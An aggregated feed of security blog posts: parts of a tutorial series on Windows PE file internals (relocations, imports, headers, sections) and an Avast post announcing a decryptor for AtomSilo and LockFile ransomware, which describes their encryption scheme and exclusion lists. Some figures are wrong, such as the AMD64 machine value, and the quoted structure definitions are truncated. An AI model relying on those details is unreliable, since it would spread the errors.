During compile-time, the compiler will assume a base address, let’s say it assumes a base address of 0x1000, it decides that test will be located at an offset of 0x100 and based on that it gives testPtr a value of 0x1100.
Later on, a user runs the program and the image gets loaded into memory.
It gets a base address of 0x2000, this means that the hardcoded value of testPtr will be invalid, the loader fixes that value by adding the difference between the assumed base address and the actual base address, in this case it’s a difference of 0x1000 (0x2000 - 0x1000), so the new value of testPtr will be 0x2100 (0x1100 + 0x1000) which is the correct new address of test.

Relocation Table

As described by Microsoft documentation, the base relocation table contains entries for all base relocations in the image.

It’s a Data Directory located within the .reloc section, it’s divided into blocks, each block represents the base relocations for a 4K page and each block must start on a 32-bit boundary.

Each block starts with an IMAGE_BASE_RELOCATION structure followed by any number of offset field entries.

The IMAGE_BASE_RELOCATION structure specifies the page RVA, and the size of the relocation block.

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;

Each offset field entry is a WORD, first 4 bits of it define the relocation type (check Microsoft documentation for a list of relocation types), the last 12 bits store an offset from the RVA specified in the IMAGE_BASE_RELOCATION structure at the start of the relocation block.

Each relocation entry gets processed by adding the RVA of the page to the image base address, then by adding the offset specified in the relocation entry, an absolute address of the location that needs fixing can be obtained.

The PE file I’m looking at contains only one relocation block, its size is 0x28 bytes:

We know that each block starts with an 8-byte-long structure, meaning that the size of the entries is 0x20 bytes (32 bytes), each entry’s size is 2 bytes so the total number of entries should be 16.


That’s all.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)

By: 0xRick

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)


In this post we’re going to talk about a very important aspect of PE files, the PE imports. To understand how PE files handle their imports, we’ll go over some of the Data Directories present in the Import Data section (.idata), the Import Directory Table, the Import Lookup Table (ILT) or also referred to as the Import Name Table (INT) and the Import Address Table (IAT).

Import Directory Table

The Import Directory Table is a Data Directory located at the beginning of the .idata section.

It consists of an array of IMAGE_IMPORT_DESCRIPTOR structures, each one of them is for a DLL.
It doesn’t have a fixed size, so the last IMAGE_IMPORT_DESCRIPTOR of the array is zeroed-out (NULL-Padded) to indicate the end of the Import Directory Table.

IMAGE_IMPORT_DESCRIPTOR is defined as follows:

    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
  • OriginalFirstThunk: RVA of the ILT.
  • TimeDateStamp: A time date stamp, that’s initially set to 0 if not bound and set to -1 if bound.
    In case of an unbound import the time date stamp gets updated to the time date stamp of the DLL after the image is bound.
    In case of a bound import it stays set to -1 and the real time date stamp of the DLL can be found in the Bound Import Directory Table in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR .
    We’ll discuss bound imports in the next section.
  • ForwarderChain: The index of the first forwarder chain reference.
    This is something responsible for DLL forwarding. (DLL forwarding is when a DLL forwards some of its exported functions to another DLL.)
  • Name: An RVA of an ASCII string that contains the name of the imported DLL.
  • FirstThunk: RVA of the IAT.

Bound Imports

A bound import essentially means that the import table contains fixed addresses for the imported functions.
These addresses are calculated and written during compile time by the linker.

Using bound imports is a speed optimization, it reduces the time needed by the loader to resolve function addresses and fill the IAT, however if at run-time the bound addresses do not match the real ones then the loader will have to resolve these addresses again and fix the IAT.

When discussing IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp, I mentioned that in case of a bound import, the time date stamp is set to -1 and the real time date stamp of the DLL can be found in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR in the Bound Import Data Directory.

Bound Import Data Directory

The Bound Import Data Directory is similar to the Import Directory Table, however as the name suggests, it holds information about the bound imports.

It consists of an array of IMAGE_BOUND_IMPORT_DESCRIPTOR structures, and ends with a zeroed-out IMAGE_BOUND_IMPORT_DESCRIPTOR.

IMAGE_BOUND_IMPORT_DESCRIPTOR is defined as follows:

    DWORD   TimeDateStamp;
    WORD    OffsetModuleName;
    WORD    NumberOfModuleForwarderRefs;
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
  • TimeDateStamp: The time date stamp of the imported DLL.
  • OffsetModuleName: An offset to a string with the name of the imported DLL.
    It’s an offset from the first IMAGE_BOUND_IMPORT_DESCRIPTOR
  • NumberOfModuleForwarderRefs: The number of the IMAGE_BOUND_FORWARDER_REF structures that immediately follow this structure.
    IMAGE_BOUND_FORWARDER_REF is a structure that’s identical to IMAGE_BOUND_IMPORT_DESCRIPTOR, the only difference is that the last member is reserved.

That’s all we need to know about bound imports.

Import Lookup Table (ILT)

Sometimes people refer to it as the Import Name Table (INT).

Every imported DLL has an Import Lookup Table.
IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk holds the RVA of the ILT of the corresponding DLL.

The ILT is essentially a table of names or references, it tells the loader which functions are needed from the imported DLL.

The ILT consists of an array of 32-bit numbers (for PE32) or 64-bit numbers for (PE32+), the last one is zeroed-out to indicate the end of the ILT.

Each entry of these entries encodes information as follows:

  • Bit 31/63 (most significant bit): This is called the Ordinal/Name flag, it specifies whether to import the function by name or by ordinal.
  • Bits 15-0: If the Ordinal/Name flag is set to 1 these bits are used to hold the 16-bit ordinal number that will be used to import the function, bits 30-15/62-15 for PE32/PE32+ must be set to 0.
  • Bits 30-0: If the Ordinal/Name flag is set to 0 these bits are used to hold an RVA of a Hint/Name table.

Hint/Name Table

A Hint/Name table is a structure defined in winnt.h as IMAGE_IMPORT_BY_NAME:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    CHAR   Name[1];
  • Hint: A word that contains a number, this number is used to look-up the function, that number is first used as an index into the export name pointer table, if that initial check fails a binary search is performed on the DLL’s export name pointer table.
  • Name: A null-terminated string that contains the name of the function to import.

Import Address Table (IAT)

On disk, the IAT is identical to the ILT, however during bounding when the binary is being loaded into memory, the entries of the IAT get overwritten with the addresses of the functions that are being imported.


So to summarize what we discussed in this post, for every DLL the executable is loading functions from, there will be an IMAGE_IMPORT_DESCRIPTOR within the Image Directory Table.
The IMAGE_IMPORT_DESCRIPTOR will contain the name of the DLL, and two fields holding RVAs of the ILT and the IAT.
The ILT will contain references for all the functions that are being imported from the DLL.
The IAT will be identical to the ILT until the executable is loaded in memory, then the loader will fill the IAT with the actual addresses of the imported functions.
If the DLL import is a bound import, then the import information will be contained in IMAGE_BOUND_IMPORT_DESCRIPTOR structures in a separate Data Directory called the Bound Import Data Directory.

Let’s take a quick look at the import information inside of an actual PE file.

Here’s the Import Directory Table of the executable:

All of these entries are IMAGE_IMPORT_DESCRIPTORs.

As you can see, the TimeDateStamp of all the imports is set to 0, meaning that none of these imports are bound, this is also confirmed in the Bound? column added by PE-bear.

For example, if we take USER32.dll and follow the RVA of its ILT (referenced by OriginalFirstThunk), we’ll find only 1 entry (because only one function is imported), and that entry looks like this:

This is a 64-bit executable, so the entry is 64 bits long.
As you can see, the last byte is set to 0, indicating that a Hint/Table name should be used to look-up the function.
We know that the RVA of this Hint/Table name should be referenced by the first 2 bytes, so we should follow RVA 0x29F8:

Now we’re looking at an IMAGE_IMPORT_BY_NAME structure, first two bytes hold the hint, which in this case is 0x283, the rest of the structure holds the full name of the function which is MessageBoxA.
We can verify that our interpretation of the data is correct by looking at how PE-bear parsed it, and we’ll see the same results:


That’s all I have to say about PE imports, in the next post I’ll discuss PE base relocations.
Thanks for reading.

✇ Avast Threat Labs

Avast releases decryptor for AtomSilo and LockFile ransomware

By: Threat Intelligence Team

On Oct 17, 2021, Jiří Vinopal published information about a weakness in the AtomSilo ransomware and that it is possible to decrypt files without paying the ransom. Slightly later, he also analyzed another ransomware strain, LockFile. We prepared our very own free Avast decryptor for both the AtomSilo and LockFile strains.

Limitation of the decryptor

During the decryption process, the Avast AtomSilo decryptor relies on a known file format in order to verify that the file was successfully decrypted. For that reason, some files may not be decrypted. This can  include files with proprietary or unknown format, or with no format at all, such as text files.

How AtomSilo and LockFile Work

Both the AtomSilo and LockFile ransomware strains are very similar to each other and except for minor differences, this description covers both of them. 

AtomSilo ransomware searches local drives using a fixed drive list, whilst LockFile calls GetLogicalDriveStringsA() and processes all drives that are fixed drives.

A separate thread is created for each drive in the list. This thread recursively searches the given logical drive and encrypts files found on it. To prevent paralyzing the compromised PC entirely, AtomSilo has a list of folders, file names and file types that are left unencrypted which are listed here:

Excluded folders
Boot Windows Windows.old Tor Browser
Internet Explorer Google Opera Opera Software
Mozilla Mozilla Firefox $Recycle.Bin ProgramData
All Users
Excluded files
autorun.inf index.html  boot.ini bootfont.bin
bootsect.bak bootmgr bootmgr.efi bootmgfw.efi
desktop.ini iconcache.db ntldr ntuser.dat
ntuser.dat.log ntuser.ini thumbs.db #recycle
Excluded extensions
.hta .html .exe .dll .cpl .ini
.cab .cur .cpl .drv .hlp .icl
.icns .ico .idx .sys .spl .ocx

LockFile avoids files and folders, containing those sub-strings:

Excluded sub-strings
Windows NTUSER LOCKFILE .lockfile

In addition to that, there is a list of 788 file types (extensions), which won’t be encrypted. Those include .exe, but also .jpg, .bmp and .gif. You may noticed that some of them are included repeatedly.

The ransomware generates RSA-4096 session keypair for each victim. Its private part is then stored in the ransom note file, encrypted by the master RSA key (hardcoded in the binary). A new AES-256 file key is generated for each file. This key is then encrypted by the session RSA key and stored at the end of the encrypted file, together with original file size. 

Each encrypted file contains a ransom note file with one of the names:

  • README-FILE-%ComputerName%-%TimeStamp%.hta
  • LOCKFILE-FILE-%ComputerName%-%TimeStamp%.hta

Encrypted files can be recognized by the .ATOMSILO or .lockfile extension: 

When the encryption process is complete, the ransom note is shown to the user. Each strain’s ransom note has its own look:

AtomSilo Ransom Message
LockFile Ransom Message

How to use the Decryptor

To decrypt your files, please, follow these steps:

  1. Download the free decryptor. The single EXE file covers both ransomware strains.
  2. Simply run the EXE. It starts in form of wizard, which leads you through configuration of the decryption process.
  3. On the initial page, you can see a list of credits. Simply click “Next”
  1. On the next page, select the list of locations which you want to be decrypted. By default, it contains a list of all local drives.
  1. On the third page, you can select whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins.
  1. Let the decryptor work and wait until it finishes.


We would like to thank Jiří Vinopal for sharing analysis of both ransomware strains.


SHA filename
d9f7bb98ad01c4775ec71ec66f5546de131735e6dba8122474cc6eb62320e47b .ATOMSILO
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce .lockfile

The post Avast releases decryptor for AtomSilo and LockFile ransomware appeared first on Avast Threat Labs.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections

By: 0xRick

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections


In the last post we talked about the NT Headers and we skipped the last part of the Optional Header which was the data directories.

In this post we’re going to talk about what data directories are and where they are located.
We’re also going to cover section headers and sections in this post.

Data Directories

The last member of the IMAGE_OPTIONAL_HEADER structure was an array of IMAGE_DATA_DIRECTORY structures defined as follows:


IMAGE_NUMBEROF_DIRECTORY_ENTRIES is a constant defined with the value 16, meaning that this array can have up to 16 IMAGE_DATA_DIRECTORY entries:


An IMAGE_DATA_DIRETORY structure is defines as follows:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;

It’s a very simple structure with only two members, first one being an RVA pointing to the start of the Data Directory and the second one being the size of the Data Directory.

So what is a Data Directory? Basically a Data Directory is a piece of data located within one of the sections of the PE file.
Data Directories contain useful information needed by the loader, an example of a very important directory is the Import Directory which contains a list of external functions imported from other libraries, we’ll discuss it in more detail when we go over PE imports.

Please note that not all Data Directories have the same structure, the IMAGE_DATA_DIRECTORY.VirtualAddress points to the Data Directory, however the type of that directory is what determines how that chunk of data is going to be parsed.

Here’s a list of Data Directories defined in winnt.h. (Each one of these values represents an index in the DataDirectory array):

// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

If we take a look at the contents of IMAGE_OPTIONAL_HEADER.DataDirectory of an actual PE file, we might see entries where both fields are set to 0:

This means that this specific Data Directory is not used (doesn’t exist) in the executable file.

Sections and Section Headers


Sections are the containers of the actual data of the executable file, they occupy the rest of the PE file after the headers, precisely after the section headers.
Some sections have special names that indicate their purpose, we’ll go over some of them, and a full list of these names can be found on the official Microsoft documentation under the “Special Sections” section.

  • .text: Contains the executable code of the program.
  • .data: Contains the initialized data.
  • .bss: Contains uninitialized data.
  • .rdata: Contains read-only initialized data.
  • .edata: Contains the export tables.
  • .idata: Contains the import tables.
  • .reloc: Contains image relocation information.
  • .rsrc: Contains resources used by the program, these include images, icons or even embedded binaries.
  • .tls: (Thread Local Storage), provides storage for every executing thread of the program.

Section Headers

After the Optional Header and before the sections comes the Section Headers. These headers contain information about the sections of the PE file.

A Section Header is a structure named IMAGE_SECTION_HEADER defined in winnt.h as follows:

typedef struct _IMAGE_SECTION_HEADER {
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
  • Name: First field of the Section Header, a byte array of the size IMAGE_SIZEOF_SHORT_NAME that holds the name of the section. IMAGE_SIZEOF_SHORT_NAME has the value of 8 meaning that a section name can’t be longer than 8 characters. For longer names the official documentation mentions a work-around by filling this field with an offset in the string table, however executable images do not use a string table so this limitation of 8 characters holds for executable images.
  • PhysicalAddress or VirtualSize: A union defines multiple names for the same thing, this field contains the total size of the section when it’s loaded in memory.
  • VirtualAddress: The documentation states that for executable images this field holds the address of the first byte of the section relative to the image base when loaded in memory, and for object files it holds the address of the first byte of the section before relocation is applied.
  • SizeOfRawData: This field contains the size of the section on disk, it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
    SizeOfRawData and VirtualSize can be different, we’ll discuss the reason for this later in the post.
  • PointerToRawData: A pointer to the first page of the section within the file, for executable images it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
  • PointerToRelocations: A file pointer to the beginning of relocation entries for the section. It’s set to 0 for executable files.
  • PointerToLineNumbers: A file pointer to the beginning of COFF line-number entries for the section. It’s set to 0 because COFF debugging information is deprecated.
  • NumberOfRelocations: The number of relocation entries for the section, it’s set to 0 for executable images.
  • NumberOfLinenumbers: The number of COFF line-number entries for the section, it’s set to 0 because COFF debugging information is deprecated.
  • Characteristics: Flags that describe the characteristics of the section.
    These characteristics are things like if the section contains executable code, contains initialized/uninitialized data, can be shared in memory.
    A complete list of section characteristics flags can be found on the official Microsoft documentation.

SizeOfRawData and VirtualSize can be different, and this can happen for multiple of reasons.

SizeOfRawData must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment, so if the section size is less than that value the rest gets padded and SizeOfRawData gets rounded to the nearest multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
However when the section is loaded into memory it doesn’t follow that alignment and only the actual size of the section is occupied.
In this case SizeOfRawData will be greater than VirtualSize

The opposite can happen as well.
If the section contains uninitialized data, these data won’t be accounted for on disk, but when the section gets mapped into memory, the section will expand to reserve memory space for when the uninitialized data gets later initialized and used.
This means that the section on disk will occupy less than it will do in memory, in this case VirtualSize will be greater than SizeOfRawData.

Here’s the view of Section Headers in PE-bear:

We can see Raw Addr. and Virtual Addr. fields which correspond to IMAGE_SECTION_HEADER.PointerToRawData and IMAGE_SECTION_HEADER.VirtualAddress.

Raw Size and Virtual Size correspond to IMAGE_SECTION_HEADER.SizeOfRawData and IMAGE_SECTION_HEADER.VirtualSize.
We can see how these two fields are used to calculate where the section ends, both on disk and in memory.
For example if we take the .text section, it has a raw address of 0x400 and a raw size of 0xE00, if we add them together we get 0x1200 which is displayed as the section end on disk.
Similarly we can do the same with virtual size and address, virtual address is 0x1000 and virtual size is 0xD2C, if we add them together we get 0x1D2C.

The Characteristics field marks some sections as read-only, some other sections as read-write and some sections as readable and executable.

PointerToRelocations, NumberOfRelocations and NumberOfLinenumbers are set to 0 as expected.


That’s it for this post, we’ve discussed what Data Directories are and we talked about sections.
The next post will be about PE imports.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 3: NT Headers

By: 0xRick

A dive into the PE file format - PE file structure - Part 3: NT Headers


In the previous post we looked at the structure of the DOS header and we reversed the DOS stub.

In this post we’re going to talk about the NT Headers part of the PE file structure.

Before we get into the post, we need to talk about an important concept that we’re going to see a lot, and that is the concept of a Relative Virtual Address or an RVA. An RVA is just an offset from where the image was loaded in memory (the Image Base). So to translate an RVA into an absolute virtual address you need to add the value of the RVA to the value of the Image Base. PE files rely heavily on the use of RVAs as we’ll see later.


NT headers is a structure defined in winnt.h as IMAGE_NT_HEADERS, by looking at its definition we can see that it has three members, a DWORD signature, an IMAGE_FILE_HEADER structure called FileHeader and an IMAGE_OPTIONAL_HEADER structure called OptionalHeader.
It’s worth mentioning that this structure is defined in two different versions, one for 32-bit executables (Also named PE32 executables) named IMAGE_NT_HEADERS and one for 64-bit executables (Also named PE32+ executables) named IMAGE_NT_HEADERS64.
The main difference between the two versions is the used version of IMAGE_OPTIONAL_HEADER structure which has two versions, IMAGE_OPTIONAL_HEADER32 for 32-bit executables and IMAGE_OPTIONAL_HEADER64 for 64-bit executables.

typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;


First member of the NT headers structure is the PE signature, it’s a DWORD which means that it occupies 4 bytes.
It always has a fixed value of 0x50450000 which translates to PE\0\0 in ASCII.

Here’s a screenshot from PE-bear showing the PE signature:


Also called “The COFF File Header”, the File Header is a structure that holds some information about the PE file.
It’s defined as IMAGE_FILE_HEADER in winnt.h, here’s the definition:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;

It’s a simple structure with 7 members:

  • Machine: This is a number that indicates the type of machine (CPU Architecture) the executable is targeting, this field can have a lot of values, but we’re only interested in two of them, 0x8864 for AMD64 and 0x14c for i386. For a complete list of possible values you can check the official Microsoft documentation.
  • NumberOfSections: This field holds the number of sections (or the number of section headers aka. the size of the section table.).
  • TimeDateStamp: A unix timestamp that indicates when the file was created.
  • PointerToSymbolTable and NumberOfSymbols: These two fields hold the file offset to the COFF symbol table and the number of entries in that symbol table, however they get set to 0 which means that no COFF symbol table is present, this is done because the COFF debugging information is deprecated.
  • SizeOfOptionalHeader: The size of the Optional Header.
  • Characteristics: A flag that indicates the attributes of the file, these attributes can be things like the file being executable, the file being a system file and not a user program, and a lot of other things. A complete list of these flags can be found on the official Microsoft documentation.

Here’s the File Header contents of an actual PE file:


The Optional Header is the most important header of the NT headers, the PE loader looks for specific information provided by that header to be able to load and run the executable.
It’s called the optional header because some file types like object files don’t have it, however this header is essential for image files.
It doesn’t have a fixed size, that’s why the IMAGE_FILE_HEADER.SizeOfOptionalHeader member exists.

The first 8 members of the Optional Header structure are standard for every implementation of the COFF file format, the rest of the header is an extension to the standard COFF optional header defined by Microsoft, these additional members of the structure are needed by the Windows PE loader and linker.

As mentioned earlier, there are two versions of the Optional Header, one for 32-bit executables and one for 64-bit executables.
The two versions are different in two aspects:

  • The size of the structure itself (or the number of members defined within the structure): IMAGE_OPTIONAL_HEADER32 has 31 members while IMAGE_OPTIONAL_HEADER64 only has 30 members, that additional member in the 32-bit version is a DWORD named BaseOfData which holds an RVA of the beginning of the data section.
  • The data type of some of the members: The following 5 members of the Optional Header structure are defined as DWORD in the 32-bit version and as ULONGLONG in the 64-bit version:
    • ImageBase
    • SizeOfStackReserve
    • SizeOfStackCommit
    • SizeOfHeapReserve
    • SizeOfHeapCommit

Let’s take a look at the definition of both structures.

typedef struct _IMAGE_OPTIONAL_HEADER {
    // Standard fields.

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    // NT additional fields.

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
typedef struct _IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;
  • Magic: Microsoft documentation describes this field as an integer that identifies the state of the image, the documentation mentions three common values:

    • 0x10B: Identifies the image as a PE32 executable.
    • 0x20B: Identifies the image as a PE32+ executable.
    • 0x107: Identifies the image as a ROM image.

    The value of this field is what determines whether the executable is 32-bit or 64-bit, IMAGE_FILE_HEADER.Machine is ignored by the Windows PE loader.

  • MajorLinkerVersion and MinorLinkerVersion: The linker major and minor version numbers.

  • SizeOfCode: This field holds the size of the code (.text) section, or the sum of all code sections if there are multiple sections.

  • SizeOfInitializedData: This field holds the size of the initialized data (.data) section, or the sum of all initialized data sections if there are multiple sections.

  • SizeOfUninitializedData: This field holds the size of the uninitialized data (.bss) section, or the sum of all uninitialized data sections if there are multiple sections.

  • AddressOfEntryPoint: An RVA of the entry point when the file is loaded into memory. The documentation states that for program images this relative address points to the starting address and for device drivers it points to initialization function. For DLLs an entry point is optional, and in the case of entry point absence the AddressOfEntryPoint field is set to 0.

  • BaseOfCode: An RVA of the start of the code section when the file is loaded into memory.

  • BaseOfData (PE32 Only): An RVA of the start of the data section when the file is loaded into memory.

  • ImageBase: This field holds the preferred address of the first byte of image when loaded into memory (the preferred base address), this value must be a multiple of 64K. Due to memory protections like ASLR, and a lot of other reasons, the address specified by this field is almost never used, in this case the PE loader chooses an unused memory range to load the image into, after loading the image into that address the loader goes into a process called the relocating where it fixes the constant addresses within the image to work with the new image base, there’s a special section that holds information about places that will need fixing if relocation is needed, that section is called the relocation section (.reloc), more on that in the upcoming posts.

  • SectionAlignment: This field holds a value that gets used for section alignment in memory (in bytes), sections are aligned in memory boundaries that are multiples of this value. The documentation states that this value defaults to the page size for the architecture and it can’t be less than the value of FileAlignment.

  • FileAlignment: Similar to SectionAligment this field holds a value that gets used for section raw data alignment on disk (in bytes), if the size of the actual data in a section is less than the FileAlignment value, the rest of the chunk gets padded with zeroes to keep the alignment boundaries. The documentation states that this value should be a power of 2 between 512 and 64K, and if the value of SectionAlignment is less than the architecture’s page size then the sizes of FileAlignment and SectionAlignment must match.

  • MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, MinorImageVersion, MajorSubsystemVersion and MinorSubsystemVersion: These members of the structure specify the major version number of the required operating system, the minor version number of the required operating system, the major version number of the image, the minor version number of the image, the major version number of the subsystem and the minor version number of the subsystem respectively.

  • Win32VersionValue: A reserved field that the documentation says should be set to 0.

  • SizeOfImage: The size of the image file (in bytes), including all headers. It gets rounded up to a multiple of SectionAlignment because this value is used when loading the image into memory.

  • SizeOfHeaders: The combined size of the DOS stub, PE header (NT Headers), and section headers rounded up to a multiple of FileAlignment.

  • CheckSum: A checksum of the image file, it’s used to validate the image at load time.

  • Subsystem: This field specifies the Windows subsystem (if any) that is required to run the image, A complete list of the possible values of this field can be found on the official Microsoft documentation.

  • DLLCharacteristics: This field defines some characteristics of the executable image file, like if it’s NX compatible and if it can be relocated at run time. I have no idea why it’s named DLLCharacteristics, it exists within normal executable image files and it defines characteristics that can apply to normal executable files. A complete list of the possible flags for DLLCharacteristics can be found on the official Microsoft documentation.

  • SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve and SizeOfHeapCommit: These fields specify the size of the stack to reserve, the size of the stack to commit, the size of the local heap space to reserve and the size of the local heap space to commit respectively.

  • LoaderFlags: A reserved field that the documentation says should be set to 0.

  • NumberOfRvaAndSizes : Size of the DataDirectory array.

  • DataDirectory: An array of IMAGE_DATA_DIRECTORY structures. We will talk about this in the next post.

Let’s take a look at the Optional Header contents of an actual PE file.

We can talk about some of these fields, first one being the Magic field at the start of the header, it has the value 0x20B meaning that this is a PE32+ executable.

We can see that the entry point RVA is 0x12C4 and the code section start RVA is 0x1000, it follows the alignment defined by the SectionAlignment field which has the value of 0x1000.

File alignment is set to 0x200, and we can verify this by looking at any of the sections, for example the data section:

As you can see, the actual contents of the data section are from 0x2200 to 0x2229, however the rest of the section is padded until 0x23FF to comply with the alignment defined by FileAlignment.

SizeOfImage is set to 7000 and SizeOfHeaders is set to 400, both are multiples of SectionAlignment and FileAlignment respectively.

The Subsystem field is set to 3 which is the Windows console, and that makes sense because the program is a console application.

I didn’t include the DataDirectory in the optional header contents screenshot because we still haven’t talked about it yet.


We’ve reached the end of this post. In summary we looked at the NT Headers structure, and we discussed the File Header and Optional Header structures in detail.
In the next post we will take a look at the Data Directories, the Section Headers, and the sections.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header

By: 0xRick

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header


In the previous post we looked at a high level overview of the PE file structure, in this post we’re going to talk about the first two parts which are the DOS Header and the DOS Stub.

The PE viewer I’m going to use throughout the series is called PE-bear, it’s full of features and has a good UI.

DOS Header


The DOS header (also called the MS-DOS header) is a 64-byte-long structure that exists at the start of the PE file.
it’s not important for the functionality of PE files on modern Windows systems, however it’s there because of backward compatibility reasons.
This header makes the file an MS-DOS executable, so when it’s loaded on MS-DOS the DOS stub gets executed instead of the actual program.
Without this header, if you attempt to load the executable on MS-DOS it will not be loaded and will just produce a generic error.


As mentioned before, it’s a 64-byte-long structure, we can take a look at the contents of that structure by looking at the IMAGE_DOS_HEADER structure definition from winnt.h:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header

This structure is important to the PE loader on MS-DOS, however only a few members of it are important to the PE loader on Windows Systems, so we’re not going to cover everything in here, just the important members of the structure.

